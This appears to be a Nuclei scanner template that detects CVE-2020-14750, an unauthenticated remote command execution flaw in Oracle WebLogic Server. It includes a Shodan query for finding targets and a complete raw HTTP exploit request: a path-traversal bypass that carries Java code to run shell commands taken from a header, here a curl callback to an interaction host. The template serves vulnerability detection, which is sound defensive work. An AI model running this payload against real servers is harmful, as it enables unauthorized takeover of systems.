69 lines
3.1 KiB
YAML
69 lines
3.1 KiB
YAML
id: CVE-2020-14750
|
|
|
|
info:
|
|
name: Oracle WebLogic Server - Remote Command Execution
|
|
author: princechaddha,DhiyaneshDk
|
|
severity: critical
|
|
description: |
|
|
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
|
|
reference:
|
|
- https://github.com/pprietosanchez/CVE-2020-14750
|
|
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-14750
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-14750
|
|
metadata:
|
|
shodan-query: http.html:"Weblogic Application Server"
|
|
verified: "true"
|
|
tags: cve,cve2020,rce,oracle,weblogic,unauth,kev
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
@timeout: 10s
|
|
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
|
Host: {{Hostname}}
|
|
User-Agent: curl/7.79.1
|
|
Accept: */*
|
|
cmd: curl {{interactsh-url}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
|
|
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
|
|
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
|
|
field.setAccessible(true);
|
|
Object obj = field.get(adapter);
|
|
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
|
|
String cmd = req.getHeader("cmd");
|
|
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
|
if (cmd != null) {
|
|
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
|
|
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
|
|
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
|
|
res.getServletOutputStream().flush();
|
|
res.getWriter().write("");
|
|
}executeThread.interrupt();
|
|
");
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "ADMINCONSOLESESSION="
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- '<html><head></head><body>(.*)</body></html>'
|
|
|
|
# Enhanced by mp on 2022/10/06
|